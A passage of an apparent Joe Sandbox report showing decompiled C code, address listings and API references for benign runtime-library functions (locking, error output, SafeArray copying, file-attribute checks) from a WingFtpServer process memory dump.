										_t156 = 0x0000000f &  *(_t217 - 4);
										_t129 =  *(_t205 - 4);
										__eflags = _t129 & 0x00000001;
										if((_t129 & 0x00000001) == 0) {
											L74:
											 *0x3bd3aec = 0;
											goto L75;
										} else {
											_t115 = _t129 & 0xfffffff0;
											_t232 = _t171 + _t115;
											__eflags = _t176 - _t232;
											if(_t176 > _t232) {
												goto L74;
											} else {
												goto L66;
											}
										}
									}
								}
							}
						} else {
							__eflags = __edx + __edx - _t171;
							if(__edx + __edx < _t171) {
								__eflags = __edx - 0xb2c;
								if(__edx >= 0xb2c) {
									L41:
									_t32 = _t176 + 0xd3; // 0xbff
									_t238 = (_t32 & 0xffffff00) + 0x30;
									_t174 = _t171 + 4 - _t238;
									__eflags =  *0x3bd305d;
									if(__eflags != 0) {
										while(1) {
											asm("lock cmpxchg [0x3bd3aec], ah");
											if(__eflags == 0) {
												break;
											}
											asm("pause");
											__eflags =  *0x3bd398d;
											if(__eflags != 0) {
												continue;
											} else {
												Sleep(0);
												_t174 = _t174;
												asm("lock cmpxchg [0x3bd3aec], ah");
												if(__eflags != 0) {
													Sleep(0xa);
													_t174 = _t174;
													continue;
												}
											}
											break;
										}
										_t156 = 0x0000000f &  *(_t217 - 4);
										__eflags = 0xf;
									}
									 *(_t217 - 4) = _t156 | _t238;
									_t161 = _t174;
									_t196 =  *(_t205 - 4);
									__eflags = _t196 & 0x00000001;
									if((_t196 & 0x00000001) != 0) {
										_t131 = _t205;
										_t197 = _t196 & 0xfffffff0;
										_t161 = _t161 + _t197;
										_t205 = _t205 + _t197;
										__eflags = _t197 - 0xb30;
										if(_t197 >= 0xb30) {
											E03AA5544(_t131);
										}
									} else {
										 *(_t205 - 4) = _t196 | 0x00000008;
									}
									 *((intOrPtr*)(_t205 - 8)) = _t161;
									 *((intOrPtr*)(_t217 + _t238 - 4)) = _t161 + 3;
									__eflags = _t161 - 0xb30;
									if(_t161 >= 0xb30) {
										E03AA5584(_t217 + _t238, _t174, _t161);
									}
									 *0x3bd3aec = 0;
									return _t217;
								} else {
									__eflags = __edx - 0x2cc;
									if(__edx < 0x2cc) {
										_t213 = __edx;
										_t140 = E03AA596C(__edx);
										__eflags = _t140;
										if(_t140 != 0) {
											_t241 = _t140;
											E03AA5528(_t217, _t213, _t140);
											E03AA5CF0(_t217, _t213, _t241);
											_t140 = _t241;
										}
										return _t140;
									} else {
										_t176 = 0xb2c;
										__eflags = _t171 - 0xb2c;
										if(_t171 <= 0xb2c) {
											goto L37;
										} else {
											goto L41;
										}
									}
								}
							} else {
								L37:
								return _t66;
							}
						}
					}
				} else {
					__ebx =  *__ecx;
					__ecx =  *(__ebx + 2) & 0x0000ffff;
					__ecx = ( *(__ebx + 2) & 0x0000ffff) - 4;
					__eflags = __ecx - __edx;
					if(__ecx < __edx) {
						__ecx = __ecx + __ecx + 0x20;
						_push(__edi);
						__edi = __edx;
						__eax = 0;
						__ecx = __ecx - __edx;
						asm("adc eax, 0xffffffff");
						__eax = 0 & __ecx;
						__eax = (0 & __ecx) + __edx;
						__eax = E03AA596C((0 & __ecx) + __edx);
						__eflags = __eax;
						if(__eax != 0) {
							__eflags = __edi - 0x40a2c;
							if(__edi > 0x40a2c) {
								 *(__eax - 8) = __edi;
							}
							 *(__ebx + 2) & 0x0000ffff = ( *(__ebx + 2) & 0x0000ffff) - 4;
							__eflags = ( *(__ebx + 2) & 0x0000ffff) - 4;
							__edx = __eax;
							__edi = __eax;
							 *((intOrPtr*)(__ebx + 0x1c))() = E03AA5CF0(__esi, __edi, __ebp);
							__eax = __edi;
						}
						_pop(__edi);
						_pop(__esi);
						_pop(__ebx);
						return __eax;
					} else {
						__ebx = 0x40 + __edx * 4;
						__eflags = 0x40 + __edx * 4 - __ecx;
						if(0x40 + __edx * 4 < __ecx) {
							__ebx = __edx;
							__eax = __edx;
							__eax = E03AA596C(__edx);
							__eflags = __eax;
							if(__eax != 0) {
								__ecx = __ebx;
								__edx = __eax;
								__ebx = __eax;
								__esi = E03AA5CF0(__esi, __edi, __ebp);
								__eax = __ebx;
							}
							_pop(__esi);
							_pop(__ebx);
							return __eax;
						} else {
							_pop(__esi);
							_pop(__ebx);
							return __eax;
						}
					}
				}
			}

0x03aa5ee8
0x03aa5ee8
0x03aa5ee8
0x03aa5ef0
0x03aa5ef2
0x03aa5f80
0x03aa5f83
0x03aa61f0
0x03aa61f1
0x03aa61f2
0x03aa61f5
0x03aa5820
0x03aa5821
0x03aa5822
0x03aa5823
0x03aa5824
0x03aa5827
0x03aa5829
0x03aa5830
0x03aa5839
0x03aa583e
0x03aa5925
0x03aa5927
0x03aa593a
0x03aa593c
0x03aa593e
0x03aa5940
0x03aa5946
0x03aa594a
0x03aa594a
0x03aa594d
0x03aa594d
0x03aa5956
0x03aa595d
0x03aa595d
0x03aa5929
0x03aa5929
0x03aa592e
0x03aa592e
0x03aa5844
0x03aa584d
0x03aa5853
0x03aa584f
0x03aa584f
0x03aa584f
0x03aa585f
0x03aa586e
0x03aa587b
0x03aa58eb
0x03aa58f2
0x03aa58f4
0x03aa58f6
0x03aa58f8
0x03aa58fe
0x03aa5902
0x03aa5902
0x03aa5905
0x03aa5905
0x03aa5915
0x03aa591c
0x03aa591c
0x03aa587d
0x03aa587d
0x03aa5889
0x03aa588f
0x00000000
0x03aa5891
0x03aa58a2
0x03aa58a6
0x03aa58a8
0x03aa58a8
0x03aa58be
0x00000000
0x03aa58d6
0x03aa58d8
0x03aa58db
0x03aa58e4
0x03aa58e7
0x03aa58e7
0x03aa58be
0x03aa588f
0x03aa587b
0x03aa596b
0x03aa61fb
0x03aa61fb
0x03aa61fd
0x03aa61fd
0x03aa5f89
0x03aa5f8b
0x03aa5f8e
0x03aa5f8f
0x03aa5f92
0x03aa5f95
0x03aa5f98
0x03aa5f9a
0x03aa5f9b
0x03aa60b0
0x03aa60b3
0x03aa60b5
0x03aa61a8
0x03aa61b3
0x03aa61ba
0x03aa61bc
0x03aa61bf
0x03aa61c4
0x03aa61c5
0x03aa61c7
0x00000000
0x03aa61c9
0x03aa61c9
0x03aa61cf
0x03aa61d1
0x03aa61d1
0x03aa61d4
0x03aa61dc
0x03aa61e3
0x03aa61ee
0x03aa61ee
0x03aa60bb
0x03aa60bb
0x03aa60be
0x03aa60c1
0x03aa60c3
0x00000000
0x03aa60c9
0x03aa60c9
0x03aa60d0
0x03aa612d
0x03aa612d
0x03aa6132
0x03aa6138
0x03aa613d
0x03aa613e
0x03aa613e
0x03aa614a
0x03aa615b
0x03aa6161
0x03aa6161
0x03aa6163
0x03aa6170
0x03aa6177
0x03aa617b
0x03aa617d
0x03aa6183
0x03aa6185
0x03aa6187
0x03aa6187
0x03aa6165
0x03aa6165
0x03aa6169
0x03aa6169
0x03aa618c
0x03aa618c
0x03aa618e
0x03aa6191
0x03aa6198
0x03aa619a
0x03aa619e
0x03aa60d2
0x03aa60d2
0x03aa60d7
0x03aa60df
0x00000000
0x00000000
0x03aa60e1
0x03aa60e3
0x03aa60ea
0x00000000
0x03aa60ec
0x03aa60f0
0x03aa60f5
0x03aa60f6
0x03aa60fc
0x03aa6104
0x03aa610a
0x03aa610f
0x03aa6110
0x00000000
0x03aa6110
0x03aa6104
0x00000000
0x03aa60ea
0x03aa6119
0x03aa611c
0x03aa611f
0x03aa6121
0x03aa61a1
0x03aa61a1
0x00000000
0x03aa6123
0x03aa6123
0x03aa6126
0x03aa6129
0x03aa612b
0x00000000
0x00000000
0x00000000
0x00000000
0x03aa612b
0x03aa6121
0x03aa60d0
0x03aa60c3
0x03aa5fa1
0x03aa5fa4
0x03aa5fa6
0x03aa5fb0
0x03aa5fb6
0x03aa5fcd
0x03aa5fcd
0x03aa5fd9
0x03aa5fdf
0x03aa5fe1
0x03aa5fe8
0x03aa5fea
0x03aa5fef
0x03aa5ff7
0x00000000
0x00000000
0x03aa5ff9
0x03aa5ffb
0x03aa6002
0x00000000
0x03aa6004
0x03aa6007
0x03aa600c
0x03aa6012
0x03aa601a
0x03aa601f
0x03aa6024
0x00000000
0x03aa6024
0x03aa601a
0x00000000
0x03aa6002
0x03aa602d
0x03aa602d
0x03aa602d
0x03aa6032
0x03aa6035
0x03aa6037
0x03aa603a
0x03aa603d
0x03aa6048
0x03aa604a
0x03aa604d
0x03aa604f
0x03aa6051
0x03aa6057
0x03aa6059
0x03aa6059
0x03aa603f
0x03aa6042
0x03aa6042
0x03aa605e
0x03aa6064
0x03aa6068
0x03aa606e
0x03aa6075
0x03aa6075
0x03aa607a
0x03aa6087
0x03aa5fb8
0x03aa5fb8
0x03aa5fbe
0x03aa6088
0x03aa608c
0x03aa6091
0x03aa6093
0x03aa6095
0x03aa609d
0x03aa60a4
0x03aa60a9
0x03aa60a9
0x03aa60af
0x03aa5fc4
0x03aa5fc4
0x03aa5fc9
0x03aa5fcb
0x00000000
0x00000000
0x00000000
0x00000000
0x03aa5fcb
0x03aa5fbe
0x03aa5fa8
0x03aa5fa8
0x03aa5fac
0x03aa5fac
0x03aa5fa6
0x03aa5f9b
0x03aa5ef8
0x03aa5ef8
0x03aa5efa
0x03aa5efe
0x03aa5f01
0x03aa5f03
0x03aa5f3c
0x03aa5f40
0x03aa5f41
0x03aa5f43
0x03aa5f45
0x03aa5f47
0x03aa5f4a
0x03aa5f4c
0x03aa5f4e
0x03aa5f53
0x03aa5f55
0x03aa5f57
0x03aa5f5d
0x03aa5f5f
0x03aa5f5f
0x03aa5f66
0x03aa5f66
0x03aa5f69
0x03aa5f6b
0x03aa5f74
0x03aa5f79
0x03aa5f79
0x03aa5f7b
0x03aa5f7c
0x03aa5f7d
0x03aa5f7e
0x03aa5f05
0x03aa5f05
0x03aa5f0c
0x03aa5f0e
0x03aa5f14
0x03aa5f16
0x03aa5f18
0x03aa5f1d
0x03aa5f1f
0x03aa5f21
0x03aa5f23
0x03aa5f25
0x03aa5f30
0x03aa5f35
0x03aa5f35
0x03aa5f37
0x03aa5f38
0x03aa5f39
0x03aa5f10
0x03aa5f10
0x03aa5f11
0x03aa5f12
0x03aa5f12
0x03aa5f0e
0x03aa5f03

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8830e6a50988126fc14e1d336d3bc8dabace0d535a7b58d3a04d6c91f2c180e3
Instruction ID: 5f83bd02ee955895c0e1c3cf64cff15ee55f618e072c44b4c9ba827ec4d8e1ab
Opcode Fuzzy Hash: 8830e6a50988126fc14e1d336d3bc8dabace0d535a7b58d3a04d6c91f2c180e3
Instruction Fuzzy Hash: E7C10267B00B000BD714EA7D9D8436EB7869B86221F1C827FE694CF796DB74C8498758

Uniqueness

Uniqueness Score: -1.00%

Function 03AA8728 Relevance: 10.6, APIs: 7, Instructions: 130
threadCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E03AA8728(signed char* __eax, void* __edx, void* __eflags) {
				void* _t49;
				signed char _t56;
				intOrPtr _t57;
				signed char _t59;
				void* _t70;
				signed char* _t71;
				intOrPtr _t72;
				signed char* _t73;

				_t70 = __edx;
				_t71 = __eax;
				_t72 =  *((intOrPtr*)(__eax + 0x10));
				while(1) {
					L1:
					 *_t73 = E03AA8BE8(_t71);
					if( *_t73 != 0 || _t70 == 0) {
						break;
					}
					_t73[1] = 0;
					if(_t72 <= 0) {
						while(1) {
							L17:
							_t56 =  *_t71;
							if(_t56 == 0) {
								goto L1;
							}
							asm("lock cmpxchg [esi], edx");
							if(_t56 != _t56) {
								continue;
							} else {
								goto L19;
							}
							do {
								L19:
								_t73[4] = GetTickCount();
								E03AA892C(_t71);
								_t57 =  *0x3bd38fc; // 0x3bd06c4
								 *((intOrPtr*)(_t57 + 0x10))();
								 *_t73 = 0 == 0;
								if(_t70 != 0xffffffff) {
									_t73[8] = GetTickCount();
									if(_t70 <= _t73[8] - _t73[4]) {
										_t70 = 0;
									} else {
										_t70 = _t70 - _t73[8] - _t73[4];
									}
								}
								if( *_t73 == 0) {
									do {
										asm("lock cmpxchg [esi], edx");
									} while ( *_t71 !=  *_t71);
									_t73[1] = 1;
								} else {
									while(1) {
										_t59 =  *_t71;
										if((_t59 & 0x00000001) != 0) {
											goto L29;
										}
										asm("lock cmpxchg [esi], edx");
										if(_t59 != _t59) {
											continue;
										}
										_t73[1] = 1;
										goto L29;
									}
								}
								L29:
							} while (_t73[1] == 0);
							if( *_t73 != 0) {
								_t71[8] = GetCurrentThreadId();
								_t71[4] = 1;
							}
							goto L32;
						}
						continue;
					}
					_t73[4] = GetTickCount();
					_t73[0xc] = 0;
					if(_t72 <= 0) {
						L13:
						if(_t70 == 0xffffffff) {
							goto L17;
						}
						_t73[8] = GetTickCount();
						_t49 = _t73[8] - _t73[4];
						if(_t70 > _t49) {
							_t70 = _t70 - _t49;
							goto L17;
						}
						 *_t73 = 0;
						break;
					}
					L5:
					L5:
					if(_t70 == 0xffffffff || _t70 > GetTickCount() - _t73[4]) {
						goto L8;
					} else {
						 *_t73 = 0;
					}
					break;
					L8:
					if( *_t71 > 1) {
						goto L13;
					}
					if( *_t71 != 0) {
						L12:
						E03AA83E4( &(_t73[0xc]));
						_t72 = _t72 - 1;
						if(_t72 > 0) {
							goto L5;
						}
						goto L13;
					}
					asm("lock cmpxchg [esi], edx");
					if(0 != 0) {
						goto L12;
					}
					_t71[8] = GetCurrentThreadId();
					_t71[4] = 1;
					 *_t73 = 1;
					break;
				}
				L32:
				return  *_t73 & 0x000000ff;
			}

0x03aa872f
0x03aa8731
0x03aa8733
0x03aa8736
0x03aa8736
0x03aa873d
0x03aa8744
0x00000000
0x00000000
0x03aa8752
0x03aa8759
0x03aa87f1
0x03aa87f1
0x03aa87f1
0x03aa87f5
0x00000000
0x00000000
0x03aa8800
0x03aa8806
0x00000000
0x00000000
0x00000000
0x00000000
0x03aa8808
0x03aa8808
0x03aa880d
0x03aa8813
0x03aa881a
0x03aa8824
0x03aa8829
0x03aa8830
0x03aa8837
0x03aa8845
0x03aa8853
0x03aa8847
0x03aa884f
0x03aa884f
0x03aa8845
0x03aa8859
0x03aa887b
0x03aa8884
0x03aa8888
0x03aa888c
0x00000000
0x03aa885b
0x03aa885b
0x03aa8860
0x00000000
0x00000000
0x03aa886c
0x03aa8872
0x00000000
0x00000000
0x03aa8874
0x00000000
0x03aa8874
0x03aa885b
0x03aa8891
0x03aa8891
0x03aa88a0
0x03aa88a7
0x03aa88aa
0x03aa88aa
0x00000000
0x03aa88a0
0x00000000
0x03aa87f1
0x03aa8764
0x03aa876a
0x03aa8770
0x03aa87cc
0x03aa87cf
0x00000000
0x00000000
0x03aa87d6
0x03aa87de
0x03aa87e4
0x03aa87ef
0x00000000
0x03aa87ef
0x03aa87e6
0x00000000
0x03aa87e6
0x00000000
0x03aa8772
0x03aa8775
0x00000000
0x03aa8784
0x03aa8784
0x03aa8784
0x00000000
0x03aa878d
0x03aa8790
0x00000000
0x00000000
0x03aa8795
0x03aa87be
0x03aa87c2
0x03aa87c7
0x03aa87ca
0x00000000
0x00000000
0x00000000
0x03aa87ca
0x03aa879e
0x03aa87a4
0x00000000
0x00000000
0x03aa87ab
0x03aa87ae
0x03aa87b5
0x00000000
0x03aa87b5
0x03aa88b1
0x03aa88bc

APIs

Part of subcall function 03AA8BE8: GetCurrentThreadId.KERNEL32 ref: 03AA8BEB

GetTickCount.KERNEL32 ref: 03AA875F
GetTickCount.KERNEL32 ref: 03AA8777
GetCurrentThreadId.KERNEL32 ref: 03AA87A6
GetTickCount.KERNEL32 ref: 03AA87D1
GetTickCount.KERNEL32 ref: 03AA8808
GetTickCount.KERNEL32 ref: 03AA8832
GetCurrentThreadId.KERNEL32 ref: 03AA88A2

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: CountTick$CurrentThread
String ID:
API String ID: 3968769311-0
Opcode ID: 06c56baed1da8e12bc67d7eea82af94fcd2fb01bd96257ac2bf2e4aa93d27099
Instruction ID: 08fee1fc9610ec0ce595630ff73005146180aad846d2e9c0f5a6cfca372dbf02
Opcode Fuzzy Hash: 06c56baed1da8e12bc67d7eea82af94fcd2fb01bd96257ac2bf2e4aa93d27099
Instruction Fuzzy Hash: 4B41A236608B519ED321EF7CC58432EBFD9AF85390F18896ED4D88B381EB79C4858752

Uniqueness

Uniqueness Score: -1.00%

Function 03AA98B4 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40
fileCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E03AA98B4(void* __ecx) {
				long _v4;
				void* _t3;
				void* _t9;

				if( *0x3bd305c == 0) {
					if( *0x3bce02e == 0) {
						_push(0);
						_push("Error");
						_push("Runtime error     at 00000000");
						_push(0);
						L03AA520C();
					}
					return _t3;
				} else {
					if( *0x3bd3348 == 0xd7b2 &&  *0x3bd3350 > 0) {
						 *0x3bd3360();
					}
					WriteFile(GetStdHandle(0xfffffff5), "Runtime error     at 00000000", 0x1d,  &_v4, 0);
					_t9 = E03AAA510(0x3aa9948);
					return WriteFile(GetStdHandle(0xfffffff5), _t9, 2,  &_v4, 0);
				}
			}

0x03aa98bc
0x03aa9922
0x03aa9924
0x03aa9926
0x03aa992b
0x03aa9930
0x03aa9932
0x03aa9932
0x03aa9938
0x03aa98be
0x03aa98c7
0x03aa98d7
0x03aa98d7
0x03aa98f3
0x03aa9906
0x03aa991a
0x03aa991a

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001D,?,00000000,?,03AA996C,?,?,?,03AA9A86,03AA6F9F,03AA6FE6,?,?,03AA6FFF), ref: 03AA98ED
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,03AA996C,?,?,?,03AA9A86,03AA6F9F,03AA6FE6,?,?), ref: 03AA98F3
GetStdHandle.KERNEL32(000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,03AA996C,?,?,?), ref: 03AA990E
WriteFile.KERNEL32(00000000,000000F5,00000000,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001D,?,00000000,?,03AA996C,?,?), ref: 03AA9914

Strings

Runtime error at 00000000, xrefs: 03AA98E6, 03AA992B
Error, xrefs: 03AA9926

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: FileHandleWrite
String ID: Error$Runtime error at 00000000
API String ID: 3320372497-2970929446
Opcode ID: 0a4bba1c3a5ee6b389d493486ea3a3cd3216c26d336d34d745d63471b2abc556
Instruction ID: bd01e7c86ada15d2a649af149174f3208b9c0a2f03ffed3ba3ab30217e4fd2fb
Opcode Fuzzy Hash: 0a4bba1c3a5ee6b389d493486ea3a3cd3216c26d336d34d745d63471b2abc556
Instruction Fuzzy Hash: 38F0286B944748BCE620F36C5F02F2E22CC5341E29F28015FB1A45FCDAE7F081809762

Uniqueness

Uniqueness Score: -1.00%

Function 03AD2258 Relevance: 9.1, APIs: 6, Instructions: 144
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E03AD2258(short* __eax, intOrPtr __ecx, signed short* __edx) {
				char _v260;
				char _v768;
				char _v772;
				short* _v776;
				intOrPtr _v780;
				char _v784;
				signed int _v788;
				signed short* _v792;
				char _v796;
				char _v800;
				intOrPtr* _v804;
				signed short* _v808;
				void* __ebp;
				signed char _t55;
				signed int _t64;
				void* _t72;
				intOrPtr* _t83;
				void* _t103;
				void* _t105;
				void* _t108;
				void* _t109;
				intOrPtr* _t118;
				void* _t122;
				intOrPtr _t123;
				char* _t124;
				void* _t125;

				_t110 = __ecx;
				_v780 = __ecx;
				_v808 = __edx;
				_v776 = __eax;
				if((_v808[0] & 0x00000020) == 0) {
					E03AD1A04(0x80070057);
				}
				_t55 =  *_v808 & 0x0000ffff;
				if((_t55 & 0x00000fff) != 0xc) {
					_push(_v808);
					_push(_v776);
					L03ACFB90();
					return E03AD1A04(_v776);
				} else {
					if((_t55 & 0x00000040) == 0) {
						_v792 = _v808[4];
					} else {
						_v792 =  *(_v808[4]);
					}
					_v788 =  *_v792 & 0x0000ffff;
					_t103 = _v788 - 1;
					if(_t103 < 0) {
						L9:
						_push( &_v772);
						_t64 = _v788;
						_push(_t64);
						_push(0xc);
						L03AD0164();
						_t123 = _t64;
						if(_t123 == 0) {
							E03AD175C(_t110);
						}
						E03AD1CA0(_v776);
						 *_v776 = 0x200c;
						 *((intOrPtr*)(_v776 + 8)) = _t123;
						_t105 = _v788 - 1;
						if(_t105 < 0) {
							L14:
							_t107 = _v788 - 1;
							if(E03AD21D0(_v788 - 1, _t125) != 0) {
								L03AD017C();
								E03AD1A04(_v792);
								L03AD017C();
								E03AD1A04( &_v260);
								_v780(_t123,  &_v260,  &_v800, _v792,  &_v260,  &_v796);
							}
							_t72 = E03AD2200(_t107, _t125);
						} else {
							_t108 = _t105 + 1;
							_t83 =  &_v768;
							_t118 =  &_v260;
							do {
								 *_t118 =  *_t83;
								_t118 = _t118 + 4;
								_t83 = _t83 + 8;
								_t108 = _t108 - 1;
							} while (_t108 != 0);
							do {
								goto L14;
							} while (_t72 != 0);
							return _t72;
						}
					} else {
						_t109 = _t103 + 1;
						_t122 = 0;
						_t124 =  &_v772;
						do {
							_v804 = _t124;
							_push(_v804 + 4);
							_t23 = _t122 + 1; // 0x1
							_push(_v792);
							L03AD016C();
							E03AD1A04(_v792);
							_push( &_v784);
							_t26 = _t122 + 1; // 0x1
							_push(_v792);
							L03AD0174();
							E03AD1A04(_v792);
							 *_v804 = _v784 -  *((intOrPtr*)(_v804 + 4)) + 1;
							_t122 = _t122 + 1;
							_t124 = _t124 + 8;
							_t109 = _t109 - 1;
						} while (_t109 != 0);
						goto L9;
					}
				}
			}

0x03ad2258
0x03ad2264
0x03ad226a
0x03ad2270
0x03ad2280
0x03ad2287
0x03ad2287
0x03ad2292
0x03ad22a0
0x03ad242b
0x03ad2432
0x03ad2433
0x00000000
0x03ad22a6
0x03ad22a9
0x03ad22c7
0x03ad22ab
0x03ad22b6
0x03ad22b6
0x03ad22d6
0x03ad22e2
0x03ad22e5
0x03ad2352
0x03ad2358
0x03ad2359
0x03ad235f
0x03ad2360
0x03ad2362
0x03ad2367
0x03ad236b
0x03ad236d
0x03ad236d
0x03ad2378
0x03ad2383
0x03ad238e
0x03ad2397
0x03ad239a
0x03ad23b6
0x03ad23bd
0x03ad23c8
0x03ad23df
0x03ad23e4
0x03ad23f8
0x03ad23fd
0x03ad2410
0x03ad2410
0x03ad2419
0x03ad239c
0x03ad239c
0x03ad239d
0x03ad23a3
0x03ad23a9
0x03ad23ab
0x03ad23ad
0x03ad23b0
0x03ad23b3
0x03ad23b3
0x03ad23b6
0x00000000
0x00000000
0x00000000
0x03ad23b6
0x03ad22e7
0x03ad22e7
0x03ad22e8
0x03ad22ea
0x03ad22f0
0x03ad22f2
0x03ad2301
0x03ad2302
0x03ad230c
0x03ad230d
0x03ad2312
0x03ad231d
0x03ad231e
0x03ad2328
0x03ad2329
0x03ad232e
0x03ad2349
0x03ad234b
0x03ad234c
0x03ad234f
0x03ad234f
0x00000000
0x03ad22f0
0x03ad22e5

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 03AD230D
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 03AD2329
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 03AD2362
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 03AD23DF
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 03AD23F8
VariantCopy.OLEAUT32(?,?), ref: 03AD2433

Memory Dump Source

Source File: 00000012.00000002.560034828.0000000003AA1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 03AA0000, based on PE: true

Associated: 00000012.00000002.560012432.0000000003AA0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564276492.0000000003BCE000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564291693.0000000003BCF000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564306803.0000000003BD0000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564378271.0000000003BD8000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564420194.0000000003BDB000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564445349.0000000003BDC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564462184.0000000003BDD000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000012.00000002.564485538.0000000003BDF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_3aa0000_WingFtpServer.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: 03f32c286d9be2e12a52b8590dba48c6f326077e3a264a58fa0a438f2d3596ff
Instruction ID: 0874b7fa8653bfe35ca3701d4d1afb894542c54e8df9ae52176805dfb600271f
Opcode Fuzzy Hash: 03f32c286d9be2e12a52b8590dba48c6f326077e3a264a58fa0a438f2d3596ff
Instruction Fuzzy Hash: CB51C579A006299FCB66DB58C980BD9B3FCAF4C200F4445DAE50AEB311D630AF85CF61

Uniqueness

Uniqueness Score: -1.00%

Function 03AC1670 Relevance: 9.1, APIs: 6, Instructions: 83
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E03AC1670(void* __eax, void* __ecx, char __edx) {
				long _t16;
				void* _t18;
				void* _t20;
				signed int _t22;
				signed int _t27;
				WCHAR* _t28;
				char* _t29;

				 *_t29 = __edx;
				_t22 = 0;
				_t28 = E03AAA8E4(__eax);
				_t27 = GetFileAttributesW(_t28);
				if(_t27 == 0xffffffff) {
					_t16 = GetLastError();
					if(_t16 == 2 || _t16 == 3 || _t16 == 0xa1 || _t16 == 0x7b || _t16 == 0x35 || _t16 == 0x15 || _t16 == 0x43) {
						_t22 = 0;
					} else {
						_t22 = 1;
					}
				} else {
					if((_t27 & 0x00000400) != 0) {
						if( *_t29 == 0) {
							if((_t27 & 0x00000010) == 0) {
								_t18 = CreateFileW(_t28, 0x80000000, 1, 0, 3, 0x2000000, 0);
								if(_t18 == 0xffffffff) {
									_t22 = 1;
								} else {
									CloseHandle(_t18);
									_t22 = 0;
								}
							} else {
								_t22 = 1;
							}
						} else {
